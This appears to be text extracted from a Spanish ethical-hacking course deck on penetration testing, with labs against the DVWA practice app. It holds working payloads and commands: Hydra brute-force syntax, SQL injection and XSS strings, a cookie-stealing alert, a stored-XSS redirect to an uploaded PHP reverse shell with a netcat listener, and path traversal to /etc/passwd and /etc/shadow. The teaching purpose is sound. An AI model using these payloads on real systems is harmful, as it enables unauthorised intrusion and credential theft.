4.ethical Hacking Penetration Testing
4.ethical Hacking Penetration Testing
Hacking
Ethical Hacking
Contenido del curso
Capítulo 1. Introducción
Capítulo 2. Criptografía
Capítulo 3. Vulnerabilidades
Capítulo 4. Penetration Testing
Capítulo 5. Ingeniería Social
Capítulo 6. Redacción de un informe
Capítulo 7. Certificaciones
Ethical Hacking
Penetration Testing
¿Qué es el pentesting?
4
Tipos de pruebas y
escenarios
5
Tipos de pruebas
6
Tipo de pruebas
No se tiene conocimiento de la Se tiene conocimiento sobre los Se tiene conocimiento sobre los
organización ni su activos a los que se les harán las activos a los que se les harán las
infraestructura pruebas. pruebas y la infraestructura.
7
Tipos de escenarios
8
Tipo de escenarios
Pruebas externas
Se realizan pruebas desde un nodo
externo a la red de la organización
(internet).
Pruebas internas
Se realizan pruebas desde la red
interna de la organización.
9
Metodología
10
Metodología
Validación de vulnerabilidades
Identificación de activos. identificadas para descartar
Recopilación de información falsos positivos, ponderación
de aspectos técnicos de riesgos y obtener mayor
(puertos, servicios, dominio, información del activo y
rangos de red, etc. ). entorno de red.
Descubrimiento Análisis de
Reconocimiento Explotación
& Enumeración vulnerabilidades
11
Laboratorio
Reconocimiento
12
Google Hacking
13
Google Hacking
Operadores avanzados
15
Google Hacking
inurl
16
Google Hacking
allinurl https://github.com/daniel
miessler/SecLists/blob/mas
ter/Passwords/bt4-
password.txt
https://github.com/daniel
miessler/SecLists/blob/m
aster/Passwords/Commo
n-Credentials/10-million-
password-list-top-
1000000.txt
https://www.quora.com/How
-do-I-download-a-password-
txt-file-for-WinRAR
17
Google Hacking
filetype
18
Google Hacking
site
19
Google Hacking
intext
20
Google Hacking
allintext
21
Google Hacking Database
https://www.exploit-db.com/google-hacking-database
23
Google Hacking Database
intext:"username=" AND "password=" ext:log
24
Google Hacking Database
intitle:"Index of" password.txt
25
whois
26
WhoIs
Who.is
27
WhoIs
Who.is
28
WhoIs
Comando whois
whois facebook.com
Herramienta
whois
Nombre de
dominio a
consultar
29
WhoIs
Comando whois
• El resultado muestra
la información que
obtuvo de dominio
consultado.
30
nslookup
31
nslookup
Comando
nslookup
Herramienta
nslookup
> facebook.com
Prompt Dominio a
consultar
32
nslookup
Comando
• El resultado muestra el
servidor DNS que resolvió la
consulta y la dirección IP
asignada al dominio.
33
nslookup
Comando
> facebook.com
34
nslookup
Comando
• La IP 8.8.8.8 corresponde al
DNS de Google. El resultado
de la consulta muestra una
nueva dirección IP para el
dominio facebook.com.
35
nslookup
Registros NS de un dominio
> facebook.com
36
nslookup
Registros NS de un dominio
37
nslookup
Registros MX de un dominio
38
nslookup
Registros MX de un dominio
39
nslookup
Consultar todos los registros de un dominio
40
nslookup
Consultar todos los registros de un dominio
41
Shodan
42
Shodan
https://shodan.io
43
Shodan
https://shodan.io
44
Shodan
https://shodan.io
45
Laboratorio
Descubrimiento y enumeración
46
3-Way Handshake
47
3-Way Handshake
Estados
Filtrado (filtered)
SYN
Atacante Víctima
48
Nmap
49
Nmap
Descubrimiento de equipos en una red
Herramienta Red a
nmap escanear
50
Nmap
Descubrimiento de equipos en una red
• El resultado muestra dos IP, que son las máquinas que están conectadas en
nuestra red “Sólo Anfitrión”.
51
Nmap
Enumeración de puertos y servicios
nmap IP
IP de la
máquina a
escanear
52
Nmap
Enumeración de puertos y servicios
53
Nmap
Identificación de versión de servicios
nmap -sV IP
54
Nmap
Identificación de versión de servicios
55
Nmap
Identificación del sistema operativo
nmap -O IP
Identifica el sistema
operativo que tiene la
máquina a escanear
56
Nmap
Identificación de versión de servicios
57
Nmap
NSE (Nmap Scripting Engine)
nmap -sC IP
Indica a la herramienta
que ejecute los scripts
58
Nmap
Identificación de versión de servicios
59
Laboratorio
Análisis de vulnerabilidades
60
Nikto
Escáner de vulnerabilidades de
software libre que escanea servidores
web en busca de fallas de seguridad.
Herramienta
nikto
Le indica a la
herramienta que
URL se va a
escanear
(Ej. http://a.com)
62
Nikto
Escáner de vulnerabilidades
63
Laboratorio
Explotación
64
Web Login Brute
Force
Web Login
Burpsuite
Realizar un intento de login y caturar la petición con Burpsuite.
Obtener el mensaje de error que muestra la página cuando el inicio de sesión falla:
Fuerza Bruta con Hydra
Estructura del comando de hydra:
Escribir en terminal:
hydra -L /usr/share/wordlists/metasploit/http_default_users.txt -P
/usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.102
http-post-form
"/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
Fuerza Bruta con Hydra
Resultado:
Fuerza Bruta con Hydra
Acceso con credenciales identificadas:
Inyección SQL
Inyección SQL
$username = $_GET[‘username’];
$password = $_GET[‘password’];
hramirez $query = “SELECT * FROM users WHERE
username = ‘$username’ AND password =
hr7511 ‘$pasword’”;
mysql_query($query);
Tabla: users
id user password full_name level
1 ajmorales aj8209 Andrés Morales 1
2 hramirez hr7511 Hiram Ramírez 2
.. .. .. .. ..
Inyección SQL
hramirez
hr7511
' or 1='1
hr7511
No user found!
Inyección SQL
$query = “SELECT * FROM users WHERE
username = '$username' AND password =
'$pasword'”;
' or 1='1' #
hr7511
Configurar el nivel de
dificultad
Laboratorio
Máquina virtual Kali Linux
Inyección SQL #1
Inyección SQL #1
El error nos indica que los datos ingresados en el campo “User ID” no están
sanitizados.
Laboratorio
Máquina virtual Kali Linux
Inyección SQL #1
' or 1='1
Laboratorio
Máquina virtual Kali Linux
Inyección SQL #1
Inyección SQL #2
Seleccionará la
Une el resultado del versión de la base de
primer SELECT con el datos y un 1
segundo SELECT
Se comenta el resto
de la consulta SQL
Laboratorio
Máquina virtual Kali Linux
Inyección SQL #2
' UNION SELECT VERSION(),1 #
First name Surname
vacío vacío
columna 1
columna 2
column1 column2
4.3.2 1
SELECT firstname, surname FROM users
WHERE id='' UNION SELECT VERSION(),1
# … comenta el resto de la consulta
First name Surname
4.3.2 1
Laboratorio
Máquina virtual Kali Linux
Inyección SQL #2
Inyección SQL #3
Inyección SQL #3
Inyección SQL #4
Inyección SQL #4
Inyección SQL #5
Inyección SQL #5
El resultado de la inyección
es el contenido del archivo
passwd de Linux.
Inyección SQL #6
Inyección SQL #6
Inyección SQL #7
Inyección SQL #7
Inyección SQL #8
Inyección SQL #8
Archivo donde se
Herramienta John the han guardado los
Ripper hashes
Función hash
utilizada para generar
los hashes
Laboratorio
Máquina virtual Kali Linux
Contraseñas
Cross-Site Scripting
(XSS)
Cross-Site Scripting (XSS)
<script>alert(‘XSS’);</script>
XSS
XSS reflejado
XSS reflejado
Finalización del
Inicio del script script
Mensaje
Muestra un mensaje
de alerta con un
botón de “OK”
Laboratorio
Máquina virtual Kali Linux
XSS reflejado
Laboratorio
Máquina virtual Kali Linux
XSS reflejado
Laboratorio
XSS almacenado
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #1
XSS almacenado #1
XSS almacenado #1
XSS almacenado #2
<script>alert(document.cookie);</script>
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #2
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Atacante Víctima
1. Subir payload: shell.php http://dvwa/../../shell.php
2. XSS almacenado <script>window.location=“http:/
3. Visitar página con XSS almacenado /dvwa/../../shell.php” </script>
XSS almacenado #3
Conceptos/herramientas:
▪ Payload: Son scripts que utilizan los hackers para interactuar con un sistema explotado.
Transfieren información al sistema víctima.
▪ netcat (nc): Herramienta que permite abrir puertos TCP/UDP y asociar shells.
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
ifconfig
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Crear payload
Dirección IP del
Herramienta atacante Puerto
Payload a utilizar Nombre del archivo
donde se guardará el
payload
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Crear payload
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Cargar el payload en la
aplicación DVWA
• Ir a la sección “Upload”.
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
• Clic en “Browse”.
• Seleccionar el payload generado.
• Clic en “Open”.
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
XSS almacenado #3
nc -lvp 6666
Número de puerto
Herramienta donde se abrirá la
conexión
l: Modo escucha
v: Verbose
p: Puerto local
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
XSS almacenado #3
Tamaño de campo
XSS almacenado #3
Tamaño de campo
1 2
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Explotar XSS
<script>window.location="http://192.168.56.7/hackable/uploads/
rev-shell.php"</script>
TAG de HTML Redirecciona URL de
que indica el al sitio TAG de HTML que indica redirección
inicio de un indicado el final de un script (ruta del
script payload)
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Explotar XSS
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Explotar XSS
Cuando se ejecuta el payload inicia una conexión reversa del sistema vulnerable a la
máquina del atacante y regresa una shell.
Laboratorio
Máquina virtual Kali Linux
XSS almacenado #3
Explotar XSS
Se pueden ejecutar
comandos para obtener
información del sistema
hackeado:
whoami
pwd
ifconfig
Laboratorio
Inyección de código
Inyección de comandos
Inyección de comandos
Inyección de comandos
Inyección de comandos
Laboratorio
Máquina virtual Kali Linux
Inyección de comandos #1
Inyección de comandos #1
Inyección de comandos #2
Inyección de comandos #2
192.168.56.6; ls /tmp/passwd
Laboratorio
Máquina virtual Kali Linux
Inyección de comandos #2
http://192.168.56.7/vulnerabilities/fi/?page=../etc/passwd
Dirección IP Ruta de la
Directory transversal
de la máquina aplicación
(Se probarán los ‘../’
DVWA donde está la
requeridos para
vulnerabilidad
acceder al archivo
passwd)
Laboratorio
Máquina virtual Kali Linux
• Escribir un “../” adicional para ver si el archivo que queremos leer está en esa
ubicación.
http://192.168.56.7/vulnerabilities/fi/?page=../../etc/passwd
“../” adicional
Laboratorio
Máquina virtual Kali Linux
• /etc/issue
• /proc/version
• /etc/profile
• /etc/shadow
• /root/.bash_history
• /var/log/dmessages
• /var/mail/root
Laboratorio
Máquina virtual Kali Linux
http://192.168.56.7/vulnerabilities/fi/?page=https://www.google.co
m
Laboratorio
Máquina virtual Kali Linux
Web crawler
Dirbuster
dirbuster
Web crawler
Dirbuster
Laboratorio
Máquina virtual Kali Linux
Web crawler
Dirbuster
Web crawler
Dirbuster
Web crawler
Dirbuster
• Ir a:
/usr/share/dirbuster/wordlists/
• Seleccionar el archivo:
directory-list-2.3-medium.txt
Laboratorio
Máquina virtual Kali Linux
Web crawler
Dirbuster
Web crawler
Dirbuster
Web crawler
Dirbuster
165
Metasploit Framework
Interfaces
msfconsole: Interfaz de
línea de comandos
interactiva.
armitage: Interfaz
gráfica de metasploit.
msfweb: Interfaz
web de metasploit.
166
Metasploit Framework
Módulos
msfconsole
169
msfconsole
Búsqueda de módulos
search <búsqueda>
170
msfconsole
Utilizar un módulo
171
msfconsole
Utilizar un módulo
show options
172
msfconsole
Configurar un módulo
173
msfconsole
Configurar un módulo
174
msfconsole
Configurar un módulo
exploit
El resultado muestra la
contraseña(s) con las que pudo
iniciar sesión.
175
Anexo:
OWASP Top 10
2017
OWASP
Open Web Application Security Project
Es un proyecto abierto
desarrollado por una comunidad
de voluntarios que produce
artículos, metodologías,
herramientas y documentación
sobre seguridad en aplicaciones
web.
OWASP – Top 10
Uno de los principales proyectos de
OWASP es un listado de las 10 Descripción
vulnerabilidades identificadas con
mayor frecuencia en aplicaciones
web. Vulnerabilidad Impacto
Remediación Riesgo
OWASP – Top 10
Uno de los principales proyectos de
OWASP es un listado de las 10 Descripción
vulnerabilidades identificadas con
mayor frecuencia en aplicaciones
web. Vulnerabilidad Impacto
Remediación Riesgo
OWASP – Top 10
A1 - Injection
A2 - Broken Authentication
A3 - Sensitive Data Exposure
A4 - XML External Entities (XEE)
A5 - Broken Access Control
A6 - Security Misconfiguration
A7 - Cross-Site Scripting
A8 - Insecure Deserialization
A9 - Using Components With Known Vulnerabilities
A10 - Insufficient Logging And Monitoring
OWASP – Top 10
A1- Injection
Vulnerabilidad relacionada con
inyección de código. Esto ocurre Inyección Inyección de
cuando datos no confiables son SQL comandos
enviados a un intérprete y se
anexan como parte del comando o
consulta. Inyección
LDAP
OWASP – Top 10
A2- Broken Authentication
Vulnerabilidad relacionada con la
implementación no segura de
funciones de autenticación y Llaves
administración de sesiones.
Contraseñas
Tokens de sesión
OWASP – Top 10
A2- Broken Authentication
Vulnerabilidad relacionada con la
implementación no segura de
funciones de autenticación y Llaves
administración de sesiones.
Contraseñas
Tokens de sesión
OWASP – Top 10
A3- Sensitive Data Exposure
Vulnerabilidad que se debe a una
mala protección de datos
sensibles en aplicaciones web o
APIs. Información financiera
Información de salud
PII*
Acceso a cuentas de
Vulnerabilidad en aplicaciones otros usuarios
donde las restricciones de las
acciones de los usuarios son
inseguras.
Acceso a
funcionalidad/información
no autorizada
OWASP – Top 10
Cuentas por defecto
Falta de
actualización
OWASP – Top 10
A7 - Cross-Site Scripting XSS
Vulnerabilidad que ocurre cuando
una amenaza compromete las
interacciones que un usuario tiene
Redirección a sitios maliciosos
con la aplicación al inyectar código
JavaScript o similar. Secuestro de sesiones
Robo de cookies
OWASP – Top 10
A7 - Cross-Site Scripting XSS
Vulnerabilidad que ocurre cuando
una amenaza compromete las
interacciones que un usuario tiene
Redirección a sitios maliciosos
con la aplicación al inyectar código
JavaScript o similar. Secuestro de sesiones
Robo de cookies
OWASP – Top 10 Archivos
010010110
A8 - Insecure Deserialization 110011010
001010101
Red
Flujo de
Vulnerabilidad que ocurre cuando bytes Base de
datos
se deserializan objetos utilizando
información no confiable, que
resulta en ataques de ejecución de Objeto
010010110
código remoto, inyección, 110011010
escalación de privilegios, etc. 001010101
Flujo de
bytes
Objeto
OWASP – Top 10 Archivos
010010110
A8 - Insecure Deserialization 110011010
001010101
Red
Flujo de
Vulnerabilidad que ocurre cuando bytes Base de
datos
se deserializan objetos utilizando
información no confiable, que
resulta en ataques de ejecución de Objeto
010010110
código remoto, inyección, 110011010
escalación de privilegios, etc. 001010101
Flujo de
bytes
Objeto
OWASP – Top 10
A9 - Using Components with
Known Vulnerabilities
Vulnerabilidad que se debe al uso
Librerías
de librerias, frameworks y
módulos de software de terceros
que se ejecutan con los mismos
privilegios que la aplicación y que
tienen fallas conocidas. Código de
terceros
APIs
OWASP – Top 10
A10 - Insufficient Logging &
Monitoring
Vulnerabilidad que existe por la Modificación o
falta o poco uso de mecanismos eliminación de
de registro o monitoreo, información.
combinado con la ineficiente Ataques
integración de actividades de laterales
respuesta a incidentes. Persistencia
¡Muchas gracias por su
atención!